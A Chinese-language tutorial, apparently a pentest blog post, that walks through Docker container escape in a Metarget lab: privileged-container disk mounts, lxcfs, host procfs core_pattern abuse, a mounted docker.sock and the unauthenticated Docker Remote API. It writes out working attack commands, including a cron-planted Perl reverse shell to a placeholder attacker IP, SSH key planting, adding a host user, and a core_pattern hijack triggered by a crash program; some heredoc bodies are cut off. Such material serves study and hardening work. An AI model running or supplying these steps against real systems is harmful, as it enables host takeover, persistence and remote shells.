Docker容器逃逸
环境准备
使用项目metarget - https://github.com/Metarget/metarget
阿里云公开Ubuntu镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 - https://cr.console.aliyun.com/cn-hangzhou/instances/artifact

容器环境中可能如ping, ifconfig命令无法正常使用,可以上传busybox配合使用

Docker 基础

Priviliged 特权模式容器逃逸
环境搭建
1 | ./metarget gadget install docker --version 18.03.1 |
编辑 vulns_cn/configs/pods/privileged-container.yaml
将Ubuntu镜像改为阿里云的公开镜像 - ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04,可以防止出现网络问题
然后查看节点状kubectl get pods -n metarget,若为RUNNING,则就可以进入了 - kubectl exec -it -n metarget privileged-container /bin/bash
判断是否为特权模式
1、是否有权限查看磁盘列表并操作挂载 - fdisk -l
2、通过CapEff掩码值判断
1 | cat /proc/self/status | grep CapEff |
若掩码值为0000003fffffffff/0000001fffffffff,则为特权模式

Mount挂载逃逸 & 利用
查看宿主机磁盘设备
1 | fdisk -l |

其中vda表示一块磁盘
vda1表示第一个分区,整个磁盘的62914519/62913560的空间都分配给了vda1分区
特权容器允许执行mount 挂载命令,在容器中临时创建一个文件夹/test,然后将/dev/vad1挂载到/test上
1 | mkdir /test |
实现逃逸,特权容器实现逃逸后,以root权限访问宿主机文件

在宿主机根目录中新建文件
1 | touch /test/attack.txt |

定时任务
1 | echo $'*/1 * * * * perl -e \'use Socket;$i="xxx.xx.xx.xxx";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root |
添加用户登录
1 | chroot /test adduser test |


写ssh公钥
正常写公钥 - echo <公钥> > /test/root/.ssh/id_rsa.pub
然后用本地私钥SSH免密登陆 - ssh -i ~/.ssh/id_rsa root@xx.xx.xx.xx
如何检查危险挂载
利用mount,若环境中没有mount,可以使用cat /proc/1/mountinfo

挂载 lxcfs 逃逸
起一个测试环境,挂载lxcfs并且要rw可读可写权限
1 | docker run -idt --cap-add=SYS_ADMIN -v /var/lib/lxcfs:/tmp/lxcfs:rw ac2-registry.cn-hangzhou.cr.aliyuncs.com/ac2/base:ubuntu22.04 |
判断是否挂载 lxcfs
1 | mount | grep lxcfs |
挂载宿主机procfs系统导致容器逃逸
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行
判断是否挂载Procfs
1 | find / -name core_pattern |

逃逸
找到docker在当前宿主机的绝对路径
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |

将/work更换为/merged
在容器内向/host-proc/sys/kernel/core_pattern中写入想要执行的恶意逻辑,这里是执行恶意python代码
1 | echo '|/var/lib/docker/overlay2/e414c33503a4b8e3fc76ea5f59f76878aca38e9b8f58ccfd11d148707c023a47/merged/tmp/.a.py' > /host-proc/sys/kernel/core_pattern |
反弹Shell
1 | cat >/tmp/.a.py << EOF |
给执行权限chmod +x /tmp/.x.py
制作崩溃程序,可以在有gcc的环境中编译好后
1 | cat > crash.c << 'EOF' |
1 | gcc -o crash crash.c |
执行/tmp/clash使Docker崩溃触发core dump,此时宿主机/proc/sys/kernel/core_pattern中写入的.shell.py会被执行
挂载Docker Socket逃逸
Docker守护进程是Docker架构的核心引擎,几乎所有的容器操作都由它完成
Docker Socket (/var/run/docker.sock)是Docker守护进程与客户端之间的主要通信接口

若容器挂载了/var/run/docker.sock,就相当于获得了
判断是否挂载 Docker Socket
1 | ls -lah /var/run/docker.sock |

逃逸
若当前所在容器中有docker cli,可以直接用,若没有docker cli,可以尝试安装一个
在docker中安装docker,首先换源
1 | (1) 换清华源 |
1 | apt-get update |
成功逃逸

为什么挂载了Docker Socket就可以在Docker中创建一个新容器并挂载宿主机根目录了呢?
这和Docker的工作原理有关,Docker cli需要与Docker守护进程通信才能工作,默认情况下Docker cli会尝试连接/var/run/docker.sock,若无法连接到任何Docker守护进程,Docker cli会报错
Docker Remote API 未授权
利用工具 - https://github.com/0xchang/DockerApiRCE
Docker Remote API是Docker提供的基于HTTP的与Docker守护进程交互的API,Docker守护进程Docker daemon默认监听2375端口切未鉴权,可以利用Docker API实现RCE
Docker提供的基于HTTP的API,如列出所有容器
1 | curl http://xx.xx.xx.xx:2375/containers/json |
可以利用Docker API创建一个挂在宿主机根目录的容器实现逃逸、反弹Shell,写SSH公钥等一系列利用
真实场景,Apache dolphinscheduler后台,只能在Worker Server端执行命令,且是容器内,无法深入,利用Docker Remote Api未授权破局

可以接管所有容器,并且可以逃逸
